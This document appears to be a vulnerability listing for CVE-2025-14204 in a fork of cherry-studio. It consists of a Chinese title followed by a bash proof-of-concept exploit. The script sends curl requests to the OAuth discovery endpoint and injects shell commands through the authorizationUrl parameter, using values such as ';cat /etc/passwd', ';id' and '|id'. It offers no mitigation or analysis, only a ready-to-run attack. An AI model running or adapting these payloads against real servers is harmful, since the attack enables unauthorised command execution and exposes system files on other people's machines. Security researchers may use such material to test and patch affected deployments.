CVE-2025-14204: cherry-studio OAuth授权服务器OS命令注入漏洞

#!/bin/bash # CVE-2025-14204 PoC - cherry-studio OAuth Server Discovery OS Command Injection # Affected: TykoDev cherry-studio-TykoFork 0.1 # Component: /.well-known/oauth-authorization-server # Function: redirectToAuthorization TARGET_URL="http://target-server:3000" PAYLOAD=";cat /etc/passwd" # Method 1: Direct parameter injection via query string echo "[*] Testing CVE-2025-14204 - OS Command Injection" echo "[*] Target: $TARGET_URL" echo "[*] Payload: $PAYLOAD" curl -v "$TARGET_URL/.well-known/oauth-authorization-server?authorizationUrl=$PAYLOAD" 2>&1 # Method 2: POST request with JSON body # curl -X POST "$TARGET_URL/.well-known/oauth-authorization-server" \ # -H "Content-Type: application/json" \ # -d '{"authorizationUrl":";id"}' # Method 3: Using pipe command injection PAYLOAD2="|id" # curl "$TARGET_URL/.well-known/oauth-authorization-server?authorizationUrl=$PAYLOAD2" echo "[!] If successful, you should see command output in response"